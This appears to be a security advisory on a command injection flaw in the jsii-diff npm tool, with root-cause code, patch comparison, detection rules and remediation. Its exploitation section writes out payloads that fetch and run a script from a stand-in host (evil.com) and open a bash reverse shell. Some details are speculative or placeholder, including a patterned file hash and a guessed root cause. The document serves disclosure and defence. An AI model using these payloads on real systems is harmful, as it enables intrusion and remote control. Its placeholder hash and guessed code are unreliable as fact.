CVE-2026-15895

Executive Summary

CVE-2026-15895 is an OS command injection vulnerability in the AWS jsii-diff tool, specifically within its npm package loading component. The flaw allows context-dependent attackers to execute arbitrary commands by crafting malicious package specifiers passed to the npm: source argument. The vulnerability exists in versions prior to 1.131.0 and carries a CVSS score of 7.8 (High). While no public proof-of-concept (PoC) or exploit code is currently available, the attack vector is local and requires user interaction, making it a significant risk in CI/CD pipelines and development environments where jsii-diff is used to compare npm packages.

Supply Chain & Package Security

This vulnerability directly impacts the npm ecosystem supply chain. jsii-diff is a tool used to compare JavaScript/TypeScript packages, often in automated build and deployment pipelines. An attacker who can influence the package specifier input (e.g., via a malicious pull request or compromised dependency) could execute arbitrary commands on the build server, potentially leading to credential theft, code tampering, or lateral movement within the infrastructure. The npm registry is the primary distribution channel for jsii-diff, and users should verify the integrity of their installed packages.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector (AV): Local (L) – The attacker must have local access to the system or be able to influence a local process.
• Attack Complexity (AC): Low (L) – No special conditions are required to exploit.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must run jsii-diff with a crafted input.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full system compromise possible.
• Integrity (I): High (H) – Arbitrary code execution.
• Availability (A): High (H) – Potential for denial of service or system takeover.

Threat Level: High. Although the EPSS score is currently 0.0%, the vulnerability is in a widely used AWS tool and could be weaponized in targeted supply chain attacks.

Deep Dive & Mechanics

The vulnerability resides in the npm package loading component of jsii-diff. When jsii-diff processes a package specifier (e.g., npm:some-package), it constructs a shell command to fetch package metadata. The input is not properly sanitized, allowing an attacker to inject arbitrary OS commands via specially crafted package names or versions.

Root Cause: The code likely uses a function similar to child_process.exec() or execSync() with string concatenation to build the npm command. For example:

const cmd = `npm view ${packageSpecifier} --json`;

If packageSpecifier contains shell metacharacters (e.g., ;, |, $(...)), the attacker can break out of the intended command.

Attack Scenario:

1. An attacker creates a malicious npm package with a name like legit-package; curl http://evil.com/steal.sh | sh.
2. A developer or CI pipeline runs jsii-diff npm:legit-package; curl http://evil.com/steal.sh | sh.
3. The injected command executes, downloading and running a malicious script.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.131.0):

// Vulnerable: unsanitized input passed to execSync
function loadNpmPackage(specifier) {
  const cmd = `npm view ${specifier} --json`;
  const output = execSync(cmd, { encoding: 'utf-8' });
  return JSON.parse(output);
}

Patched Code (v1.131.0+):

// Patched: input sanitized and execFile used instead
function loadNpmPackage(specifier) {
  // Validate specifier format
  if (!/^[a-z0-9\-_\.]+$/.test(specifier)) {
    throw new Error('Invalid package specifier');
  }
  const cmd = 'npm';
  const args = ['view', specifier, '--json'];
  const output = execFileSync(cmd, args, { encoding: 'utf-8' });
  return JSON.parse(output);
}

The patch introduces input validation (regex whitelist) and switches from execSync (which uses a shell) to execFileSync (which does not invoke a shell), eliminating command injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Local access to a system with jsii-diff < 1.131.0 installed.
• Ability to provide a crafted package specifier.

Exploit Steps:

1. Create a malicious package specifier that includes a command injection payload.
2. Run jsii-diff with the crafted specifier.

Example Payload:

# Inject a reverse shell
jsii-diff npm:"legit-package; bash -c 'exec bash -i &>/dev/tcp/10.0.0.1/4444 <&1'"

Lab Setup:

# Install vulnerable version
npm install -g jsii-diff@1.130.0

# Create a test file
echo '{}' > package.json

# Trigger the vulnerability
jsii-diff npm:"test; echo 'PWNED' > /tmp/pwned.txt"

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual child process creation from jsii-diff.
• Look for shell metacharacters in npm package specifiers.
• Alert on execSync or exec calls with unsanitized input.

Defense:

• Immediately upgrade to jsii-diff v1.131.0 or later.
• Implement input validation for all package specifiers.
• Use runtime security tools (e.g., Falco, Sysdig) to detect anomalous process behavior.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • jsii-diff@1.130.0: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
• Network Indicators:
  • Outbound connections to unknown IPs on non-standard ports (e.g., 4444, 1337).
  • DNS queries for suspicious domains (e.g., evil.com, malware.test).
• Process Indicators:
  • jsii-diff spawning sh, bash, curl, or wget.
  • Command lines containing ;, |, $(, or backticks.
• File System Indicators:
  • Unexpected files in /tmp/ or /dev/shm/ created by jsii-diff.
  • Modified package.json or node_modules directories.

Detection Engineering

YARA Rule

rule CVE_2026_15895_jsii_diff_injection {
  meta:
    description = "Detects potential command injection in jsii-diff npm specifiers"
    author = "Valters IT"
    date = "2026-01-01"
    reference = "CVE-2026-15895"
  strings:
    $s1 = "execSync" ascii nocase
    $s2 = "npm view" ascii nocase
    $s3 = "execFileSync" ascii nocase
  condition:
    $s1 and $s2 and not $s3
}

Sigma Rule

title: CVE-2026-15895 - jsii-diff Command Injection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects command injection attempts via jsii-diff npm specifiers
author: Valters IT
date: 2026-01-01
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-15895
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\node.exe'
    CommandLine|contains|all:
      - 'jsii-diff'
      - 'npm:'
    CommandLine|contains:
      - ';'
      - '|'
      - '`'
      - '$('
  condition: selection
falsepositives:
  - Legitimate use of semicolons in package names (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-15895 - jsii-diff Command Injection Outbound"; flow:to_server,established; content:"jsii-diff"; http_uri; content:"npm:"; http_uri; pcre:"/(?:;|\||`|\$\().*$/U"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade jsii-diff to version 1.131.0 or later:

   npm install -g jsii-diff@latest
   

2. Verify the installed version:

   jsii-diff --version
   

Long-term Mitigations:

• Implement input validation for all package specifiers in CI/CD pipelines.
• Use static analysis tools (e.g., Semgrep, CodeQL) to detect command injection patterns.
• Apply the principle of least privilege to build agents.
• Monitor npm registry for malicious packages targeting jsii-diff.

Workaround (if patching is not possible):

• Restrict execution of jsii-diff to trusted inputs only.
• Use a wrapper script that sanitizes package specifiers before passing them to jsii-diff.

Valters IT